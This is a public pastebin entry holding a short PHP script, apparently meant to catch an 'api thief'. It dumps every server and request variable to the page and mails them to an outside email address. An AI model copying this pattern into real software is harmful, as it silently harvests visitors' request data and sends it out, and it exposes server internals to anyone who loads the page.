PHP   21

server as name

Guest on 27th April 2022 05:35:43 PM

  1. php
  2. header('Access-Control-Allow-Origin : *');
  3.  
  4. $val = $_GET['test'];
  5. $ref = $_SERVER['HTTP_REFERER'];
  6.  
  7.  
  8. foreach ($_SERVER as $name => $value) {
  9.     $content .= $name.': '.$value. '<br>';
  10. }
  11.  
  12. echo $content;
  13. mail('kdsecor@gmail.com','api thief',$content);
  14.  
  15. ?>
  16. //connect to db

Raw Paste


Login or Register to edit or fork this paste. It's free.